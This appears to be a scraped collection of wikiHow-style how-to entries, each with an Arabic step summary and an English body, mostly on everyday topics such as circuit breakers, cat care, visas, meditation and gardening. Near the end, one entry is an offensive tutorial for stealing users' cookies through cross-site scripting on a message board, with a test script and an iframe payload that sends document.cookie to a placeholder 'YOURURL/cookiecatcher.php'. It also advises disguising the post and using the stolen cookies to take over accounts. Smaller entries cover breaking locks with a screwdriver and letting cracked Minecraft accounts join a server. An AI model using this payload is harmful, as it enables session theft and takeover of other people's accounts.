ابحث عن لوحة البيانات. تفقّد فرق جهد الجهاز. ابحث عن "أمبير الحمل الكامل". تفقّد شدة تيار الإقلاع. ضع الأجهزة الأخرى بعين الاعتبار. استخدم قيمة الأمبيرية الأدنى للدائرة الكهربائية وقيمة الحماية القصوى من التيار الزائد مع وحدات التكييف.

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All appliances should have a data plate with electrical information. Look on the back or underside of the device, where the cord enters, or check the product manual. The information on this plate will help you determine how many amperes the device draws, and therefore the rating you will need for the circuit breaker.  This section covers devices that list the amperage directly on the data plate, which should include all appliances with a motor. If your device only lists wattage (W), calculate the amperage from that value. This is not an appropriate method to determine safety features to protect the motor itself. The circuit breaker protects the wiring of the electrical supply. High-power devices such as air conditioning units and ovens are best installed by a trained electrician. The amperage drawn depends on the voltage of your electrical circuit. The intended voltage (V) of the device should be listed so you can confirm that it matches your electrical system. If the device can run at two different voltages, it will usually list two values like this: 110V/240V. In this example, if you were running the device on a 110 volt supply, you would only refer to the first number listed on each line.  Most electrical codes allow a ± 5% tolerance for the voltage (or slightly more). Do not run a device on a voltage supply outside this range. Household outlets in North America and some other countries are on a 120V standard. Most of the world uses 220–240V.  Many homes have 30-A or 50-A breakers dedicated to larger appliances such as water heaters, baseboard heaters, ovens, stoves, and heavy-duty power tools. The wiring and breakers for these circuits are required to be designed at 125% of the continuous load and 100% of a non-continuous load. This is the number of amps the motor will draw at the rated horsepower. In the United States, if this device will be left on for more than three hours, the circuit breaker should be rated at 125% of this value. (Multiply the FLA by 1.25.) This allows for additional load due to...


ابحث عن لون الفراء المحدد للجنس. ابحث عن علامات لوجود دورة الشبق. تحقق من وجود بول له رائحة نفاذة. قم بتقييم البنية الجسدية للقطة وملامح الوجه.

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The color of a kitten's fur can give clues to its sex.  Certain colors, like calico (large patches of black, white, and orange) and tortoiseshell (marbled black, orange/brown, and sometimes white), are carried on the X chromosome and require two X chromosomes to appear. Thus, because females have two X chromosomes while male cats have only one, males cannot have these colors except in the case of a rare genetic disorder. Orange tabby (striped) cats are more likely to be male. After about 6-10 months (and for some breeds as early as 4), most unspayed female kittens will begin to show signs of being “in heat” (scientifically referred to as being “in estrus”). A female cat may be in heat for between 2-19 days. The average cycle for a female cat that does not mate is about 8 days, but the cycle is often shorter for cats that do mate, as mating induces ovulation. A cat in heat will display certain telling behaviors, which, if they occur, may indicate the cat is female. These include:  Beginning to meow more loudly, harshly, and frequently. It will grow in intensity over time and may begin to sound like howling. Showing a strong urge to go outdoors Becoming extremely affectionate, even with inanimate objects Showing “presenting” behavior, wherein a female cat rests on its front legs while hyper-extending the back and lifting its tail and rear end in the air. Spraying urine When an unneutered male (tom) cat becomes sexually mature, he'll often develop a habit of spraying strong-smelling urine.  A male cat may begin to spray outside the litter box, even if he's normally well-trained. The urine will have a strong, unmistakable smell that most find unpleasant. You likely won't be able to distinguish noticeable differences in physical features until a cat is sexually mature. Once the cat is mature enough, though, there are particular features you can look for.  An unneutered male will tend to be lean and muscular, with thicker bones in the skull and jaw. Unneutered males also commonly have what's called a “stud tail.” A...


ابحث عن متطلبات التأشيرة قبل حجز الرحلة. خطط لرحلتك واحجزها قبل طلب التأشيرة. اهتم بالمستندات. تحقق من مدة رحلتك. انتظر للتقديم.

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Though you book your trip before you apply for a visa, you should check with that country's consulate before booking. You should make sure you will be able to satisfy all the requirements prior to booking. You will need to submit information about your trip when you apply. Therefore, go ahead and plan your trip, booking flights and hotels. As you plan your trip, keep documentation of your trip. You will need to submit that documentation as proof of where and why you're traveling to a country in the Schengen area. With this visa, you are allowed to be in the Schengen area for up to 3 months, spread out over a 6 month period. Make sure your trip does not exceed this time period. In most countries, you cannot apply earlier than 3 months in advance of your trip. Even if you plan far ahead, you have to wait for the visa application. It's a good idea to buy travel insurance, just in case your visa does not get approved, and you must cancel your trip.


ابحث عن مجموعة فيسبوك باستخدام الكلمات الدلالية وثيقة الصلة. انضم للمجموعة المتوافقة مع اهتمامك. انشر طلبك.

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Whatever page of Facebook you find yourself on, you can find the search bar at the top of the screen, right next to the Facebook logo. Enter your query here, whether it’s related to a type of food, a particular interest, hobby or service. Then press enter to launch the search. For instance, if you’re looking for a good mechanic in the Los Angeles area, you’ll likely want to search for “Los Angeles Mechanics.” Pay attention to the group’s name, as this will tell you if it’s appropriate for your needs. Once you’ve found a group you think will help you find what you need, you should join it. This can be done from the group’s page by clicking on the “Join Group” button.  Be aware that, depending on the nature of your request, you might not find a group relevant enough to truly help you. This is especially true if you live in a more rural area. Some groups are private, and an administrator will need to approve your request to join them. The time this takes will vary from group to group; it can take a few hours or a few days. Near the top of the group page, you should find a box inviting you to post something. It’ll look much like the box you’ll find on your profile or your newsfeed. Write your request for recommendations here.  Since you’ll likely have joined a group that matches your location and the service you’re looking for, you might not need to be as specific in your request as in other methods. Note that many Facebook groups have rules concerning what you can and can’t post. Be sure to review these carefully before making your request, or you might get banned from the group. They’re usually found in “pinned” posts, at the top of the group page, or in the group’s description.


ابحث عن محول ملفات مجاني على شبكة الإنترنت. توجه إلى قسم التحويل من ويف إلى إم بي 3 في الموقع الإلكتروني. حمل ملف ويف الذي ترغب بتحويله إلى ملف إم بي 3. حدد الصيغة التي ترغب بالتحويل إليها إن احتجت لذلك. حدد المكان الذي ترغب بإرسال الملف إليه. ابحث عن زر "تحويل".

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Type in ".wav to MP3 convert" into a search engine and find one that offers a free service. Sometimes, you have to navigate the site to find where the service is offered. wav you want converted to MP3. Some sites will ask you to specify the format you want to convert to. Enter an email address that the converted file will sent to, if necessary. Sometimes, the file will be available for download on the site itself. Other times, you will need to enter an email address in order to retrieve it. If you are worried about getting spammed, use a sock-puppet email or create one for yourself. You can use this account to retrieve any files you need. The file should be sent to your email address; some of the time, it will be zipped to accommodate larger files.


ابحث عن مدرسة لتربية الحيوانات الأليفة. تعلم قصات وتصفيفات نموذجية لسلالات الكلاب المميزة. تعلم التعرف على أعراض المشاكل وسماتها. فكر في فوائد الشهادة.

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Generally speaking, there are no schooling or licensing requirements to become a dog groomer, but having some formal training can only help when it is time to look for a job or open your own shop.  There are plenty of online programs available if there are no grooming schools in your area, but you may want to consider whether ones that advertise themselves as two-month programs with no hands-on requirements are worth your time and money. You may want to seek a program with somewhere in the range of 400-650 program hours, including “hands-on” time; at least one teacher certified by a nationally-recognized body; and good hands-on / hands-off, student / instructor, and student / dog (practice groomings per day) ratios. Look for schools that provide clear breakdowns of their training programs, which include areas such as tool selection and usage, health and safety procedures, clipping techniques, and styling profiles for different breeds, among others. This should be part of your training program.  In the U.S., the American Kennel Club is the primary organization that establishes standards for dog breeds and normal grooming profiles for each.  Grooming profiles can change, so take it upon yourself to keep up-to-date. Recently, hybrid or “designer dogs” (a cross of two purebred dogs, such as a Labradoodle), have become more popular.  Owners of such dogs may have more interest in creative styling, but study accepted grooming profiles for common hybrids as well. No, dog groomers aren't veterinarians, but regular grooming is beneficial to canine health, so a good groomer should show concern for overall well-being.  Practice checking for problems such as:  Signs of injury or illness like swelling, cuts, thrush (a yeast infection of the mouth or other orifice), and parasites such as ticks. Changes in temperament or activity level among regular canine customers, which can be a sign of injury or illness. Indications of mistreatment or abuse.  The owner may be paying the bill, but don't use that as an excuse to ignore the...


ابحث عن مراحل الحزن الخمس. انتبه إلى أشياء معينة تحدث في حالة فقد الأشقاء. أعطِه مساحة من الوقت. اعلم أنه قد يحتاج إلى بعض المساحة.

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There are five different stages of grief that people go through following this kind of loss. Memorize these steps so that you can figure out where your friend is at in the process and try to help with each specific step. Remember that people are different and some do not go through the stages in order and can revisit past stages before reaching acceptance.  Denial is first. Denial of the reality of the loss is a normal reaction. It may seem like he or she doesn't realize the death of her sibling. It may not have set in yet. Anger comes next. Once the reality of the loss does set in, it's normal to experience anger over the loss. He or she may be angry at the sibling, at herself, or at someone else. Bargaining is third. This shows up as a desire to change the situation, such as wishing that he or she had done something differently. Depression is the fourth step. This is the stage where people mourn the loss and bid the person farewell. It's an essential step in the process of grieving. Acceptance is the final stage. After all of the stages of resistance to loss, acceptance is the stage where people finally come to terms. It's not happiness, but it is calm compared to the stages before it. The grief of losing a loved one is bad enough, but losing a sibling often creates specific painful responses. For example, someone may feel bad about how he or she treated her sibling in the past. A person may feel "survivor's guilt" over being left alive. When talking to your friend or loved one and doing things for him or her, be aware of these difficult issues associated with the loss of a sibling. If you notice that he or she is feeling these things, try to reassure him or her that it was not his or her fault. Grief does not always have a timeline and time does not necessarily heal all wounds. You can expect him or her to get better as time passes, but they may never make a full recovery. People respond differently to loss. Avoid pushing someone to move on. Allow the person to grieve and recover at his or her own pace. If...


ابحث عن مستشار للإدمان. ابحث عن أسباب للإقلاع. اعرف مكونات دخان السجائر. فكر في فائدة إقلاعك على من حولك.

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He or she is a trained professional who can be very useful in helping you find a reason for quitting. They talk to people about addiction every day and have extensive understanding of the most difficult aspects of quitting. Look up one  in your area. If you enjoy bonding with others, group counseling can also be effective with addictions. Perhaps everyone has been lecturing you about smoking, but you don't really understand the hazards yourself. Browse online about the benefits of quitting cigarettes on helpful sites like Cancer.org or the CDC. Knowing just what you stand to gain from quitting might inspire you to move forward with actually quitting. Connect with real life stories. Read about people who live with the devastating effects of smoking. According to the American Lung Association, there are more than 600 ingredients inside a cigarette. These ingredients combine to form over 7,000 chemical when the cigarette is lit. 69 of those chemicals can cause cancer.  Some of the ingredients in cigarettes and smoke are: tar, lead, acetone, arsenic, butane, carbon monoxide, ammonia, and formaldehyde. Maybe you've always heard that you should stop smoking because it's bad for you. Now, you know exactly why cigarettes are unhealthy. When you smoke, you not only jeopardize your own health, but you also endanger the lives of others by exposing them to second-hand smoke.  Second-hand smoke can cause cancer in your loved ones. Those around you are also at risk of becoming ill with colds and flus more often as well as having heart disease, respiratory problems, and even having trouble getting pregnant. Studies have shown that parents who smoke often raise children who end up smoking, too. So, quitting today could make a difference in your kid's life tomorrow.


ابحث عن مصدر إلهامك. ضع أهدافاً قصيرة الأمد. كن واثقاً بنفسك. اقبل التغيرات أثناء حدوثها.

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ind your inspiration. It can be a person, a landmark, or your lucky charm. Whatever it is, it will make you smile when you wake up in the morning, and it is the last thing you want to see before you fall asleep at night. Discover what or who it is and treasure it.  To find inspiration, try disconnecting from your usual routine.  Listen to music. Spend time in nature   Carry around a small notepad with you. Write down inspirational moments so you can remember them later. Breaking your goals into small steps also makes you more likely to achieve them. Achieving short-term goals will help you stay motivated along the way to achieving your long-term goals.  Write your short-term goals down on a calendar. Use the calendar to hold yourself accountable for achieving your short-term goals. In order to get yourself in a mindset for success, make your first few short-term goals easy to attain.  That being said, once you get going, do challenge yourself. Whenever you feel like something is getting too easy to do, take it up a notch. Once you get in the habit of pushing yourself, it will be easier to continue making progress on your goals. Being confident will help you achieve your goals. Although believing is not enough on its own, negative thoughts will slow you down.  Take care of yourself. Dress well, brush your hair, sit with good posture, and groom regularly.  Think positively. When you have a negative thought, rephrase it positively. Do not compare yourself to others. Instead of dwelling on how you stack up to other people, focus on yourself and your goals. . On the way to developing your full potential, things in your life will change. If you become stuck in your ways, your personal development will stagnate.  Focus on the things that you can influence and then do them. As before, remember you are engaging in a process. Adapt to new circumstances by setting new goals. Be open to learning new things.


ابحث عن مصدر البهجة بالنسبة لك. نظم حياتك. استهدف تطوير حياتك وليس جعلها مثالية.

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If you want to try to make others happy, then you'll need to start with yourself. What makes you happy? What brings you joy? Thinking about these questions will help you start to figure out how you can spread happiness to others.  Make a list of the times you've been happiest in your life. It may help for you to go through a photo-book for this. Pay attention to the photos where you look happiest or at peace: What were you doing then? Who were you with? Do you still manage to find time to engage in these activities? If not, try to make it a priority to set time aside for you to do things that truly make you feel happy. Even if you don't have the time to go on long off-trail runs every weekend like you used to, for example, perhaps you can manage to fit in a jog around your local park once or twice or week. You may be surprised at how quickly you start to perk up after returning to the activity you once loved so much. It's hard to help others effectively if your own life is a mess. If you really want to make a positive impact on the world, you'll be better at it if you aren't too distracted by your own problems.  Maybe you'd like to help people who are unemployed find meaningful work that provides them with a steady income. If you struggle to keep a job, though, you won't be able to offer much in the way of advice, and you certainly won't be taken seriously. However, you shouldn't give up on this goal just because you haven't (yet!) held down one good-paying job for a long stretch of time. Indeed, once you manage to figure things out, you'll be in an excellent position to help others who are in positions like yours. You will truly be able to understand their situation and will be able to offer solid, proven advice once you manage to overcome your own obstacles. While one of the first steps towards helping others is helping yourself, be careful not to put off the start of your new plan for too long. You will never be perfectly happy, perfectly content, perfecting employed, etc.  If you wait for the time to be...


ابحث عن مصدر الرائحة. أزل المصادر المسببة للرائحة الكريهة. استخدم مكنسة كهربائية لتنظيف الجزء الداخلي من السيارة. أزل الانسكابات والبقع من السجاد. امسح أي أسطح غير مغطاة بالسجاد.

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If you notice an unpleasant smell in your car, search your car for a potential cause. Search the floor of your car for anything that could cause odor, like clothing, spills, or food. Be sure to search under seats, in between seats, any compartments or cup holders, and in the trunk. Get a large trash bag and toss any obvious causes of odor, such as food wrappings, old napkins, and anything else. Even things like magazines can cause a musty odor if they become damp. Removing any items from your car that don't need to be there can help cut down on odor. Make sure to clean everywhere in your car, including under rugs and carpeting and under seats. Vacuum down the seats as well. Make sure to place the vacuum's nozzle into the nooks or crannies of seats so you can get any dirt and debris lodged in between seats. You can use a handheld vacuum if you have one at home, but making a trip to a car wash is usually more effective. You can use the nozzle vacuum cleaner there, which should be able to thoroughly remove dirt and debris from your car that may be causing a bad smell. If you notice any spills while you're cleaning, use a commercial carpet cleaner or a shampoo from a department store. Apply the cleaner to the floor according to package directions. Then, rub the cleaner into a stain with a soft cloth or sponge and then rinse the cleaner from the car with water.  Most cleaners should be diluted with water prior to use. Make sure to test the cleaner on a small, unnoticeable portion of your car's floor first to make sure it's safe to use on your car's interior. In addition to cleaning the carpet, wipe down any non-carpeted surfaces like the dashboard. Remove any spills and stains from these areas using a non-purpose cleaner. You should test any cleaner you use on a small, inconspicuous  portion of the car first to make sure it doesn't cause damage.


ابحث عن مصدر قوي للضوء. بلل شعر الشخص. ابحث عن القملات الكبيرة. تعرف على البيض والذي يدعى "صغير القمل. تعرف على بيض صغير القمل بعد فقسه.

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Natural light is good if it isn’t filtered through curtains or blinds. Bathroom light is often bright enough. If you need additional light, use a bright flashlight or small desk lamp. This can be done under a faucet or with a spray bottle. Lice can be seen on dry or wet hair, but many people have an easier time spotting lice if the hair is wet. Working with wet hair also makes it easier to carefully part sections, and clip the examined sections out of the way so you can continue to check the remainder of the hair. Adult lice are difficult to see, mainly because they can move quickly and they do not like light. As you separate sections of hair, the adult lice can quickly move back into the hair and into the shadows. Even though an adult louse is tiny, you should be able to see them if you can read the small print of a newspaper. Adult lice are light brown in color, and are about the size of a sesame seed. The adults are often found near the scalp area, in the hair just above and behind the ears, and at the hairline around the base of the neck. The eggs are firmly attached, practically cemented, to the hair. Eggs are yellowish-brown, or tan, in color before they hatch, and look like tiny seeds. Freshly laid eggs are shiny, and are often found near the scalp. Once the eggs, or nits, have hatched, the egg casing remains firmly attached to the hair. The color of the casing is practically clear.


ابحث عن مفك مسامير صغير بما يكفي ليناسب القفل. أدخل طرف المفك في ثقب مفتاح القفل. هِز المفك أثناء دفعه داخل وخارج القفل. واصل دفع القفل حتى ينفتح.

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If the tip is too wide, you won’t be able to get it into the keyhole, and your lock-breaking adventure will be over before it even gets started. The type of slender screwdrivers used to fix jewelry and eyeglasses will be perfect for most small and medium-sized locks.  If possible, purchase an identical lock and compare it to your screwdriver to confirm that you’ve got a match. A bobby pin or unraveled paperclip may also suffice in a pinch, but no guarantees. Slide the screwdriver into the lock until you can’t get it in any further. If it won’t go in far enough to reach deep into the barrel of the lock, it’s most likely too big, which means you’ll need to try again with a smaller screwdriver. In a standard pin tumbler lock, the locking pins move up and down freely inside the body of the lock. Using a key to align the pins with the lock plug causes the lock to open. Slide the blade of the screwdriver back and forth slowly. At the same time, work the handle of the around at different angles to engage as many pins as possible. Most tumbler locks are designed to release automatically if a minimum number of pins are shifted correctly. Avoid letting the screwdriver slip too far out of the lock. Doing so could cause you to start missing pins, effectively undoing the progress you’ve made. If you manage to hit all of the right tumblers, the lock will pop open on its own. Until then, it will remain shut fast and refuse to budge. Don’t be discouraged if it takes a while to get the desired result—just keep wiggling and sliding. If you stick with it long enough, there’s a good chance that your patience will be rewarded.  Be careful about performing this trick in public places. If someone sees you, they might think you’re breaking into something that’s not yours. If you’re not getting anywhere with your screwdriver, come back with a hammer or pair of wrenches and see if you have better luck.


ابحث عن مكان بيع روابط الصدر. اختر المقاس المناسب لرابط الصدر. حدد ما إن كنت تريد رابطًا طويلًا أم قصيرًا. ارتدِ الرابط. عدّل من وضعية الصدر ليتناسق بداخل الرابط. استخدم نصائح وحيل تساعد على جعل ارتداء الرابط أكثر راحة وفاعلية. التزم باحتياطات الأمان أثناء ارتداء الرابط.

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There are several companies online that design binders specifically for trans men. There are also trans men who sell used binders that either no longer fit or aren't of any use to them. You may also be able to purchase a binder from your local sex positive merchant.  Binders are not only used for trans men but also for males who have gynecomastia. You can find binders that specialize in helping men with gynecomastia. If you can't afford a binder, there are many programs that you can apply for to receive cheap or free binders. However, most of these exchange programs are geared towards helping low income trans men when they're transitioning. If you know your bra size, most merchants will be able to help you convert your bra size to a binder size. If you're buying online, a chart or online conversion tool may be available on the merchant's website. It's important to get the right fit for your binder. A binder is not always comfortable to wear but you should always be able to breathe when you're wearing it. You should never feel restricted to a point that you can't. Short binders end right at your waist, or underneath your bust. Long binders reach several inches past your waist and about an inch before your belly button (depending on your body type).  Long binders tend to roll up and may need adjustment, while short binders stay unrolled easier. A binder that rolls can cause unsightly lines to show through your clothing. A way to counteract this problem is to fold up an inch from the bottom of your binder to stop it from rolling. Choose a long or short binder based on your body type and the comfort of your fit. If you have a heavier body type, you may benefit more with a long binder as it will not roll up as often. Binders are put on differently than regular bras or sports bra. Start by:  Putting your binder inside out and upside down. Step into your binder and pull the bottom up towards your head to your waist. Use the shoulder sleeves to pull the binder outside. Put your arms through the sleeves. Pull out the...


ابحث عن مكان مناسب للإقامة. فكر في خيارات الاستئجار قصير المدى لشقة أو منزل. تعرف على تحديات الحصول على تأمين صحي في الولايات المتحدة الأمريكية. ابحث عن خيارات المدارس في حالة كنت ستسافر مع أطفالك أو تخطط لذلك مستقبلًا. تقدم للحصول على الجرين كارد.

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Rent an apartment or house near your new workplace when you go to America. Know that many landlords consider a foreign tenant to be risky, and you may need to put up a larger deposit or provide more references.  If you sign up for a longer term apartment rental, you will need to put a deposit on the apartment you wish to rent, usually at least one month's rent plus a damage deposit. You may need to provide references and information about your credit rating to potential property owners. Most utility companies also require deposits before services may begin. A good option is to rent an apartment for just a month while you figure out where you want to be. AirBnB is a good website for this.  Craigslist is also good but is a bit more risky. Search for "short term" and you will see many owners who want to let out their place on a short-term basis. If you know people in the city where you will move, you can ask them directly to stay with them for a short period of time. In 2016, there were approximately 27,000,000 people without health insurance. Check with your employer on their health insurance policies. If they do not provide, you will probably want to find health insurance on the open market. Public schools in the United States are free until 12th grade, but they are all of varying quality. Some can even be dangerous. After some time in your job, you can look into applying for a Green Card. You can also get a green card if you have family members who are US Citizens or by applying to be a refugee.


ابحث عن مكان هادىء. اجلس في وضعٍ مريح. ركّز على تنفسك. افتح عينيك ببطء.

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You can meditate anywhere, but it's best to find a quiet place free of distractions. If you're at work and you have an office, try closing the door. If you don't have your own space, you can go for a walk on your lunch break and find a peaceful place away from the office.  If possible, reduce distractions by silencing your cellphone and turning off your computer. Try and find someplace you can be alone for 5 to 10 minutes. If you can't find a quiet space indoors, you might want to try sitting outside (if the weather permits it). Comfort is very important when you meditate. There's no prescribed position; it's just crucial that you get into a position that helps you relax.  When some people think of seated meditation, they picture a meditation master sitting in perfect lotus position with the legs crossed. If this is comfortable for you, then go ahead, but if not just find what makes you relaxed. You can try sitting with your legs crossed, sitting in a regular chair or on a bench, or even lying flat on the floor. If you're comfortable (and feel safe) closing your eyes, then go ahead. If not, keep your eyes open but try to focus on a point on the ground just in front of you. Deep breathing is at the heart of meditation. Concentrate on the sensation of breathing, and try to block out any other thoughts. Any time you find your mind wandering or your thoughts racing, simply return your focus to your breath.  Don't take shallow breaths in your chest; instead, take deep breaths that go all the way down to your diaphragm (below the ribs). Feel the air flow through your nostrils and into your lungs. Notice the sensation of your belly rising and falling with each inhalation and exhalation. You can either set a timer for 5 to 10 minutes, or simply breathe until you feel a sense of calm come over you. You can take these little meditation breaks anytime and any place when you need to calm down and quiet an anxious mind. When you're finished, slowly open your eyes. Don't get up right away; give your eyes and your mind a...


ابحث عن ملف server.properties. أعِد تسمية الملف. افتح الملف. اضبط عنوان آي بي الخاص بالخادم. احذف أمر التحقق عبر شبكة الإنترنت. احفظ التغييرات.

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It's in your "Minecraft Server" folder. In order to edit the file, you'll need to remove the period between "server" and "properties". To do so, right-click the file, click Rename in the resulting drop-down menu, and delete the period. Press ↵ Enter and then click Yes when prompted. On a Mac, you can also click the file, click File, and click Rename... to bring up the rename text box. Once you've renamed the file, you can open it by doing the following:   Windows — Double-click the file, then click Notepad in the resulting window and click OK.  Mac — Click the file, click File, select Open With, and click TextEdit. Type your computer's static IP address on the other side of the "server-ip=" line of text near the top of the file. For example, if your computer's static IP address is "192.168.2.25", you would have server-ip=192.168.2.25 here. Find the "online-mode=true" line of text, then replace "true" with false. This is what will allow players who have cracked Minecraft accounts to join your server. Press either Ctrl+S (Windows) or ⌘ Command+S (Mac), then close the document. This will apply your new settings to your server the next time you run it.


ابحث عن منطقة زراعة  دافئة يصل إليها ضوء الشمس بشكل جزئي. تجنب المناخ البارد والرياح والصقيع. استخدم تربة خصبة جيدة الصرف. استخدم تربة بمستوى معتدل من الحمضية والقاعدية.

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As subtropical plants, avocados love sun. Native to Central America, Mexico, and the West Indies, avocados evolved to thrive in warm, humid environments. Though avocados have been bred to grow in locales as far away as California, they always require good sunlight to grow well. However, paradoxically, young avocado plants can be damaged by excessive direct sunlight (especially before they've had time to develop extensive leaves). Because of this, if you are growing an avocado plant from a single pit, you will want to pick a growing spot that has access to good sun during some parts of the day but is not constantly in direct sunlight. Sunny windowsills are great growing sites for avocados. In addition to ensuring that the avocados only receive sunlight during part of the day, indoor windowsills allow you to carefully control the temperature and humidity that the plant is exposed to. For the most part, avocado plants do not do well in inclement weather. Snow, cold winds, and rapid temperature drops, which can be harmful even to hardier plants, can outright kill avocado plants. If you live in a tropic or subtropic climate with fairly mild winters, you may be able to get away with keeping your avocado plant outside year-round. However, if you live in an area where the winter temperature is likely to drop below freezing, you will want to prepare to move your maturing plant indoors for the winter to protect it from the elements. Different avocado varieties have different tolerances for cold temperatures. In general, the common avocado varieties listed below will receive significant freezing damage at the temperatures indicated: West Indian — 28-29o F (-2.2-1.7o C) Guatemalan — 27-29o F (-2.8-1.7o C) Hass — 25-29o F (-3.9-1.7o C) Mexican — 21-27o F (-6.1-2.8o C) Like a variety of other common garden plants, avocados do best in a loose, rich soil. These types of soils provide great nutrient content to help the plant grow strong while also reducing the danger of over-watering and allowing for great aeration. For the...


ابحث عن منفذ "إتش دي إم آي" في جهاز التلفاز. اشترِ كابل "إتش دي إم آي". قم بوضع جهاز "آبل تي في" بالقرب من التلفاز. قم بتوصيل واحدة من نهايتي كابل "إتش دي إم آي" بجهاز "آبل تي في". قم بتوصيل النهاية الأخرى من كابل "إتش دي إم آي" في جهاز التلفاز. قم بتوصيل سلك الكهرباء الخاص بجهاز "آبل تي في". قم بتشغيل التلفاز. قم بتغيير قناة إدخال التلفاز إلى "إتش دي إم آي". اتبع تعليمات التثبيت الظاهرة أمامك على الشاشة. استخدم جهاز "آبل تي" كتلفاز ذكي.

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An HDMI port resembles a thin, wide slot with a slightly tapered base. HDMI ports are typically located on the back or the side of your TV screen.  Note the number next to the HDMI port as well, since this is the input channel you'll need to use in order to use your Apple TV. If your TV doesn't have at least one HDMI port, you can buy an HDMI-to-RCA adapter that plugs into the red, white, and yellow ports in the back or side of your TV instead. You can find HDMI cables of varying lengths online and in most department stores.  HDMI cables tend to be much cheaper online than they are in stores. You shouldn't have to spend more than $15 or so on a good HDMI cable. The Apple TV box must be close enough to your TV that both the HDMI and the power cable can reach the box. It's important to keep your Apple TV in the open, both because you don't want it to overheat and because you need to be able to use the Apple TV's remote. This cable fits into the HDMI port on the back of the Apple TV box with the wide side of the cable facing up. HDMI cables only go in one way, so don't force the connection if it doesn't fit. It should plug into the HDMI port you found on your TV earlier. The two-cylinder end of the cable plugs into the back of the Apple TV, and the other end plugs into a wall socket. Press your TV's power button. This will vary from TV to TV, but will typically consist of pressing your TV's (or TV remote's) Input button until you reach the input number that's next to the HDMI port on your TV. This should display the Apple TV's setup page. If the Apple TV's setup page doesn't display, press the Apple TV remote's center button to "wake up" the Apple TV box. Usually, you'll have to do the following:  Select a language. Select a Wi-Fi network and enter the password. Download any suggested updates. Once your Apple TV is set up and up-to-date, you can use the Apple TV remote to switch between apps, stream media via Netflix or Hulu, and so on.


ابحث عن مواقع البث الإلكتروني الحي المجانية. استخدم موقع "تيليموندو ديبورتز" قبل يوم 25 يونيو. استخدم هوائي رقمي لتشغيل قناة "إف إس وان". استفد من مشاهدة المباريات عبر خدمات البث الحي الإلكتروني. شاهد المباريات على قناة "بين سبورت".

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Many online sites host temporary streaming for FIFA games, though you'll have to search for current streams by typing free online fifa streams (or similar) into a search engine. Keep in mind that online streams are often hosted on non-reputable   sites; visiting such sites increases the risk of your computer being infected by malware.  Reddit occasionally has links to free streams. You can search for these links by typing fifa stream into the Reddit search bar and selecting the corresponding subreddit. Consider installing an ad-blocker in your browser if you're going to browse online streaming sites, as these sites often have numerous intrusive ads. If you don't mind watching and listening in Spanish, you can use the TelemundoDeportes website to stream FIFA games until June 25th.  Once you reach the 25th of June, you'll be prompted to sign in with your cable credentials. Telemundo also has apps—Telemundo Deportes En Vivo and NBC Sports—which allow you to stream FIFA on your iPhone or Android. FS1 is a free, over-the-air station which broadcasts the FIFA World Cup. In order to access FS1, you'll need a digital antenna for your TV. Digital antennae often run under $30. Services including Hulu Live, Fubo TV, DirecTV Now, PlayStation Vue, Sling TV, and YouTube TV all have packages available with some or all of the channels broadcasting 2018 World Cup matches. These packages aren't free, but some of them (e.g., YouTube TV) tend to be cheaper and easier to cancel than using a cable counterpart. If you have a cable subscription, you can use Fox Sports (which has exclusive English television rights in the United States) to view FIFA. The Fox channels will have matches available on TV, and the Fox Sports Go app will have matches available on mobile devices.


ابحث عن موقع تخييم في منطقة خالية من الحشرات. قم بشراء خيمة مقاومة للمياه. قم بشراء شبكة بعوض. رش طارد الحشرات قبل النوم. قم بحرق عشب المريمية. غطِ جسمك.

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Figure out where insects traditionally gather. You may be able to avoid dealing with them while you're in the great outdoors. While bugs can be present anywhere, they generally surround bodies of stagnant water. When camping in warm, moist climates, you'll definitely want to avoid still pools and lakes.  A campsite on higher ground is advisable when searching for a spot. Pitching your tent on a hillside is advisable. Avoiding low, flat areas will distance you from any large stagnant bodies of water. Stick to higher ground, even if your area is fairly dry. Any rainfall, even if it is minimal, will attract more bugs to your area. When using a traditional tent without as much protection from the elements, bugs can fly into your shelter with a bit more ease. A waterproof tent, while more expensive, does a great job keeping bugs out. This will eliminate the number of bites that you will get while sleeping. Waterproof tents, while thicker, have more breathability than a traditional tent. This means you won't notice the larger area of protection that surrounds them. Fresh air will flow in and out easily. In addition to a waterproof tent, you may want to invest in preventative bug netting. These netting systems are great for protecting against bug bites during the day. These will fit nicely around a hammock. You'll be able to rest easily while napping.  You can try a free-standing mosquito net. They are basically small tents, held together by metal or plastic frames that can be easily put away. You fit them nicely into a larger tent so that once you zip up the outside of the primary tent, you won't let bugs in. If you aren't camping with a tent, you can use a wedge mosquito net. The net hangs from two suspension points, draping over the sleeping bag or cot that you've brought to the outdoors. This brand of net is easy to set up and quite inexpensive. Be sure that you're using a product that's safe for your skin, as certain repellents are made for the air. Choosing products with the active ingredients DEET or...


ابحث عن موقع تعتقد أن فيه ثغرات ويمكنك أن تكتب فيه منشورات. اذهب إلى خيار إنشاء منشور جديد. اصنع وارفع الكود المساعد في الحصول على الكوكيز. انشر الكود المساعد في الحصول على الكوكيز. استخدم الكوكيز التي جمعتها.

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A message board is a good example. Remember, if the site is not vulnerable to a cross-site scripting attack, then this will not work. You will need to type some special code into the "post" which will capture the data of all who click on it. You'll want to test to see if the system filters out code. Post <script>window.alert("test")</script>If an alert box appears when you click on your post, then the site is vulnerable to attack. The goal of this attack is to capture a user's cookies, which allows you access to their account for websites with vulnerable logins. You'll need a cookie catcher, which will capture your target's cookies and reroute them. Upload the catcher to a website you have access to and that supports PHP and is vulnerable to remote code execution via upload. An example cookie catcher code can be found in the sample section. Input a proper code into the post which will capture the cookies and sent them to your site. You will want to put in some text after the code to reduce suspicion and keep your post from being deleted. An example code would look like <iframe frameborder="0" height="0" width="0" src="javascript...:void(document.location='YOURURL/cookiecatcher.php?c=' document.cookie)></iframe> After this, you can use the cookie information, which should be saved to your website, for whatever purpose you need.


ابحث عن موكب في منطقة سكنك. مشاهدة المواكب عبر التلفزيون أو الإنترنت. شاهد الرقصات الخاصة. الاحتفال بمهرجان الفوانيس.

